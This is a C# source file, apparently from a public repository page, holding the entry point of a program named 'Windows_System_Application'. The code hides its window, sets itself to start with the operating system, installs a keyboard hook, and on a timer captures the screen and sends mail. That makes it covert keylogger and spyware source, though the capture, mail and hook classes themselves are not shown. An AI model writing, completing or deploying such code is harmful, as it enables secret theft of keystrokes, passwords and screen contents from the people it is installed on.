-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathProgram.cs
More file actions
51 lines (42 loc) · 1.27 KB
/
Program.cs
File metadata and controls
51 lines (42 loc) · 1.27 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
using System.Threading;
using Windows_System_Application.source;
namespace Windows_System_Application
{
internal class Program
{
#region Timer
static int interval = 1;
static void StartTimmer()
{
Thread thread = new Thread(() =>
{
while (true)
{
Thread.Sleep(1);
if (interval % Capture.captureTime == 0)
Capture.CaptureScreen();
if (interval % Mail.mailTime == 0)
Mail.SendMail();
interval++;
if (interval >= 1000000)
interval = 0;
}
});
thread.IsBackground = true;
thread.Start();
}
#endregion
static void Main(string[] args)
{
//check application is run
if (System.Diagnostics.Process.GetProcessesByName(System.IO.Path.GetFileNameWithoutExtension(System.Reflection.Assembly.GetEntryAssembly().Location)).Length > 1)
{
return;
}
StartWithOS.run();
Windows.HideWindow();
StartTimmer();
HookKeyBoard.run();
}
}
}